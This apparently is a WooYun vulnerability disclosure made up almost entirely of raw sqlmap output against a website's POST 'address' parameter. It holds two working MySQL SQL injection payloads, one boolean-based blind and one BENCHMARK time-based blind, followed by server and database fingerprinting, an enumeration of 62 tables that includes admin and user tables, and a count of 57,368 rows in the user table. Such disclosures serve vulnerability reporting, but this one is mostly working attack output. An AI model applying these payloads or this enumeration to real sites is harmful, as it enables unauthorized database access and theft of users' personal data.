WooYun.org

---
Parameter: address (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: address=e' RLIKE (SELECT (CASE WHEN (4469=4469) THEN 0x65 ELSE 0x28 END)) AND 'ZayY'='ZayY&brand=e&contact=e&grade=e&link=e&realname=e&title=e&type=43&rnd=0.2819324042648077
    Type: AND/OR time-based blind
    Title: MySQL <= 5.0.11 OR time-based blind (heavy query)
    Payload: address=e' OR 9394=BENCHMARK(5000000,MD5(0x50706954)) AND 'yQSd'='yQSd&brand=e&contact=e&grade=e&link=e&realname=e&title=e&type=43&rnd=0.2819324042648077
---
web application technology: Nginx, PHP 5.3.27
back-end DBMS: MySQL >= 5.0.0
Database: home
[62 tables]
+------------------------------+
| cj_column_pic                |
| home_admin_user              |
| home_art                     |
| home_art2                    |
| home_art3                    |
| home_art_20131025            |
| home_art_20131107            |
| home_art_pics                |
| home_art_pics2               |
| home_art_pics3               |
| home_art_promotions          |
| home_art_promotions1         |
| home_art_promotions_20131025 |
| home_art_promotions_20131030 |
| home_block_type              |
| home_businessman             |
| home_businessman_130802      |
| home_businessman_fee         |
| home_businessman_log         |
| home_businessman_mobile      |
| home_businessman_type        |
| home_casephoto               |
| home_casephoto2              |
| home_casephoto_cj            |
| home_channel                 |
| home_channel_art             |
| home_channel_art_20131025    |
| home_collect                 |
| home_edit_block              |
| home_edit_history            |
| home_feedback                |
| home_forum_thread            |
| home_phone_message           |
| home_phone_message_set       |
| home_phone_pushtoken         |
| home_phone_send              |
| home_photopic                |
| home_pic                     |
| home_pic2                    |
| home_pic_130723              |
| home_pic_130725              |
| home_pic_cj                  |
| home_pic_cross_to_tc         |
| home_region                  |
| home_send_block              |
| home_send_item               |
| home_send_item2              |
| home_sessions                |
| home_short_message           |
| home_short_message_feedback  |
| home_short_message_log       |
| home_sort                    |
| home_supermarket             |
| home_supermarket_brand       |
| home_tenders                 |
| home_tenders_company         |
| home_tenders_jlog            |
| home_tenders_log             |
| home_tenders_materials       |
| home_tenders_style           |
| home_top_nav                 |
| home_user                    |
+------------------------------+
Database: home
+-----------+---------+
| Table     | Entries |
+-----------+---------+
| home_user | 57368   |
+-----------+---------+